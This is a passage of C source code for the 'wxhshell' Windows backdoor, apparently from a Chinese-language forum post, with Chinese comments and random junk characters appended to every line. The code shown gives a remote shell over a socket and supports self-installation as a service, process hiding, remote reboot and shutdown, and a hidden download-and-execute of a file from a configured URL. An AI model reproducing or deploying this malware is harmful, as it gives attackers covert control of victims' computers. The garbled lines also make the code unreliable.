  eLXG _Qb"  
  // 帮助 03Pa; n  
  case '?': { $@<qaR{t\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  ^AS*X2y  
    break; Z6F>SL  
  } f0]8/)  
  // 安装 .>NhC"  
  case 'i': { ;3wj(o0  
    if(Install()) {1,]8!HBJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d~1Nct$:  
    else zA4m !l*eM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !_P;4E  
    break; #K:|@d  
    } m`l3@ Z  
  // 卸载 m22M[L(q  
  case 'r': { `KBgVhS>  
    if(Uninstall()) eJFGgJRIvF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C50&SrnBU1  
    else lX$6U| !  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >tTNvb5  
    break; i j&_>   
    } 9Ps[i)-  
  // 显示 wxhshell 所在路径 R L&z\S  
  case 'p': { 4X,fb`  
    char svExeFile[MAX_PATH]; lIPy)25~  
    strcpy(svExeFile,"\n\r"); 7A'd55I4  
      strcat(svExeFile,ExeFile); ~Vq<nkWS  
        send(wsh,svExeFile,strlen(svExeFile),0); +rse,b&U(  
    break; [!9 dA.tF  
    } foY=?mbL  
  // 重启 Ba==Ri8$  
  case 'b': { oo sbf#V  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); U%oh ?g  
    if(Boot(REBOOT)) ;O` \rP5w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8;2UP`8s?  
    else { ue8Cpn^M  
    closesocket(wsh); f@U\2r  
    ExitThread(0); \7M+0Ul1  
    } *((wp4b  
    break; F)P"UQ!\  
    } 2D|2/ >[  
  // 关机 U(#)[S,  
  case 'd': { #>~<rcE(  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `tZu~ n  
    if(Boot(SHUTDOWN)) "[(&$ I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6f1%5&si  
    else { HsrIw  
    closesocket(wsh); gD&/ k  
    ExitThread(0); Uawf,57v<  
    } p0Cp\.  
    break; c32IO&W4  
    } -<rQOPH%  
  // 获取shell %JmRJpCvR  
  case 's': { Kjbt1n  
    CmdShell(wsh); 7w}D2|+  
    closesocket(wsh); 3I!xa*u  
    ExitThread(0); ke.{wh\0  
    break; 52+;j[ ]/O  
  } *Z0Y:"  
  // 退出 0Y rdu,c  
  case 'x': { x1:#rb'  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); c2M-/ x-:  
    CloseIt(wsh); h{zE;!+)D  
    break; d D6I @N)X  
    } [$; \1P/  
  // 离开 |,zcrOo]  
  case 'q': { >:W7f2%8`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -TnvX(ok4  
    closesocket(wsh); ;8WgbR)ZLU  
    WSACleanup(); 3L2@C%  
    exit(1); ENu`@S='I3  
    break; u{%gB&nC  
        } (qn ;MN6<  
  } HN'r ZAZ(  
  } (hywT)#+  
u<8 f ;C_  
  // 提示信息 /4 zO  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !]bXHT&!R  
}  =[Lo9Sg  
  } ?O1:-vpZ  
|||uTfrJ  
  return; U3SF'r8  
} KX*Hev'K  
C N9lK29F)  
// shell模块句柄 e|wH5(V  
int CmdShell(SOCKET sock) u3{gX{so  
{ ciKkazx.  
STARTUPINFO si; V\axOz!  
ZeroMemory(&si,sizeof(si)); Zf~ [4Eeb  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /m,0H)w1  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Qxds]5WB/  
PROCESS_INFORMATION ProcessInfo; >`rK=?12<  
char cmdline[]="cmd"; by*>w/@9)k  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,#^<0u+zrF  
  return 0; jRz2l`~7#  
} /'|'3J]HP  
oo\0X  
// 自身启动模式 /BWJ)6#H  
int StartFromService(void) GD1=Fb"&)  
{ U\S%Jq*  
typedef struct $cO"1mu  
{ a,Gd\.D  
  DWORD ExitStatus; !O$*/7  
  DWORD PebBaseAddress; # k+Gg w  
  DWORD AffinityMask; Wpom{-  
  DWORD BasePriority; xG<H${ k;  
  ULONG UniqueProcessId; *[*E|by  
  ULONG InheritedFromUniqueProcessId; W>b(hVBE  
}   PROCESS_BASIC_INFORMATION; %UJ!(_  
IY|;}mIF  
PROCNTQSIP NtQueryInformationProcess; ]Jj\**  
~CRr)(M  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; dN>XZv  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; fk!wq. a  
8?']W\)  
  HANDLE             hProcess; [KkLpZG  
  PROCESS_BASIC_INFORMATION pbi; 8k'UEf`'(  
`gqBJi  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {+f@7^/i.  
  if(NULL == hInst ) return 0; 7Z>u|L($m  
ToJV.AdfT  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5VWXUNe@_q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); LBtVK, ?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )rD] y2^<  
~BCSm]j  
  if (!NtQueryInformationProcess) return 0;  ,[ +  
eif<aG5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?/"@WP9  
  if(!hProcess) return 0; T3['6%  
K&"Yv~h  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; v%> ?~`Y  
ld94ek  
  CloseHandle(hProcess); 5(>m=ef"  
v:CYf_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +8[h&  
if(hProcess==NULL) return 0; ))!Z2PfD  
,KkENp_  
HMODULE hMod; c[<lr  
char procName[255]; G5zZf ~r  
unsigned long cbNeeded; mT@UQCG  
133lIX+(k  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); XPzwT2_E  
'O]_A57  
  CloseHandle(hProcess); ]*}*zXN/E  
*P:`{ZV7=W  
if(strstr(procName,"services")) return 1; // 以服务启动 -'{ioHt&X/  
dT,X8 "  
  return 0; // 注册表启动 PK3)M'[  
} |IH-a"  
WKBPqfC  
// 主模块 >?M:oUVDU  
int StartWxhshell(LPSTR lpCmdLine) B/E1nBobC  
{ 7r"!&P* ,  
  SOCKET wsl; 0Qw?.#[9  
BOOL val=TRUE; Pc? d@tm  
  int port=0; t K{`?NS  
  struct sockaddr_in door; ,k{{ZP P  
:@_CQc*yB  
  if(wscfg.ws_autoins) Install(); `Lm ArW:  
3X0^xUA6  
port=atoi(lpCmdLine); +ls *04  
1$@k@*u\  
if(port<=0) port=wscfg.ws_port; ,a$LT   
5/:Zj,41{  
  WSADATA data; E_WiQ?p   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @Z@yI2#e  
4x8mJ4[H^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   D6bCC; h=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); sdS<-! %u4  
  door.sin_family = AF_INET; a+\ Gz  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1P8$z:|~  
  door.sin_port = htons(port); , X$S4>  
f=~@e#U  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { H W.S~eLw*  
closesocket(wsl); FD_0FMZ9,  
return 1; b)@D*plS&  
} _z,/!>J  
*i5&x/ds  
  if(listen(wsl,2) == INVALID_SOCKET) { sS5#Q  
closesocket(wsl); $Ae/NwIlc  
return 1; U0jq.]P  
} =\X<UA}  
  Wxhshell(wsl); ,vg8iR a  
  WSACleanup(); T a/G  
&e,xN;  
return 0; +/Y )s5@<  
webT  
} '|Q=J)  
kf"cd 1  
// 以NT服务方式启动 Mv4JF(,S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) rX;(48Y  
{ y"@~5e477$  
DWORD   status = 0; ctt5t  
  DWORD   specificError = 0xfffffff; NTAPx=!1*  
zac>tXU;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; X/gh>MJJ<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )%ja6Vg  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; zT_{M qY  
  serviceStatus.dwWin32ExitCode     = 0; =9pFb!KX  
  serviceStatus.dwServiceSpecificExitCode = 0; vj{h*~  
  serviceStatus.dwCheckPoint       = 0; |_O; U=2  
  serviceStatus.dwWaitHint       = 0; 7!MW`L/`  
0JNG\ARC  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); deeOtco$LT  
  if (hServiceStatusHandle==0) return; 9^ mrsj  
B*D`KA  
status = GetLastError(); ^=R>rUCmv  
  if (status!=NO_ERROR) IK %j+UB  
{ 5[/ *UtB  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2@e<II2ha8  
    serviceStatus.dwCheckPoint       = 0; 8swj'SjX  
    serviceStatus.dwWaitHint       = 0; 5,?9#n\E,  
    serviceStatus.dwWin32ExitCode     = status; u :m]-'  
    serviceStatus.dwServiceSpecificExitCode = specificError; aNXu"US+Sp  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); p( Qm\g<  
    return; ND21;  
  } `86 9XE  
?"sk"{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; oz[E>%  
  serviceStatus.dwCheckPoint       = 0; :Z=A,G  
  serviceStatus.dwWaitHint       = 0; 3s>& h-E  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~^VcTSY@<L  
} ;'vY^I8-L  
l|N1u=Z  
// 处理NT服务事件,比如:启动、停止 ,GR(y^S  
VOID WINAPI NTServiceHandler(DWORD fdwControl) qvYw[D#.  
{ *5|\if\  
switch(fdwControl) Yq;S%.  
{ .6.oqb  
case SERVICE_CONTROL_STOP: 40q8,M  
  serviceStatus.dwWin32ExitCode = 0; roRZE[ya  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &:{| nDT_2  
  serviceStatus.dwCheckPoint   = 0; ADHe! [6q  
  serviceStatus.dwWaitHint     = 0; L:B&`,E  
  { S)Ld^0w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); = <33(   
  } L'[ '7  
  return; UGR5ILf  
case SERVICE_CONTROL_PAUSE: YHeB <v  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |dXS+R1  
  break; ,L_p"A  
case SERVICE_CONTROL_CONTINUE: q:nYUW o   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 'VF9j\a  
  break; 5(U.<  
case SERVICE_CONTROL_INTERROGATE: VMtR4!:q  
  break; 1 k H  
}; x{ZcF=4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }25{"R}K  
} 1` 9/[2z  
R$w=+%F  
// 标准应用程序主函数 cJH7zumM)  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "w_(p|cm=  
{ du47la 3  
VY![VnHsB  
// 获取操作系统版本 Vuz!~kLYIn  
OsIsNt=GetOsVer(); qLPI^g,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $]%k <|X  
:!aFfb["  
  // 从命令行安装 {`1zVTp[<  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3HfT9  
oXz:zoNQ  
  // 下载执行文件 x&8?/BR  
if(wscfg.ws_downexe) { KXdls(ROP  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +/UInAM  
  WinExec(wscfg.ws_filenam,SW_HIDE); Xv'64Nc!;  
} `d8$OC  
I@x*>  
if(!OsIsNt) { +LX&1GX  
// 如果时win9x,隐藏进程并且设置为注册表启动 * 9*I:Uh57  
HideProc(); ,cj34W`FWq  
StartWxhshell(lpCmdLine); h3JIiwv0!  
} 4$y|z{[< 5  
else ;Hm\?n)a  
  if(StartFromService()) %=NqxF>>  
  // 以服务方式启动 ."=Bx2  
  StartServiceCtrlDispatcher(DispatchTable); HK ;C*;vC%  
else 6i&WF<%D  
  // 普通方式启动 7] ~'8  
  StartWxhshell(lpCmdLine); 0WYVt"|;}c  
`cVG_= 2  
return 0; qt3 \*U7x  
}
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只看该作者 1 发表于: 2006-10-10
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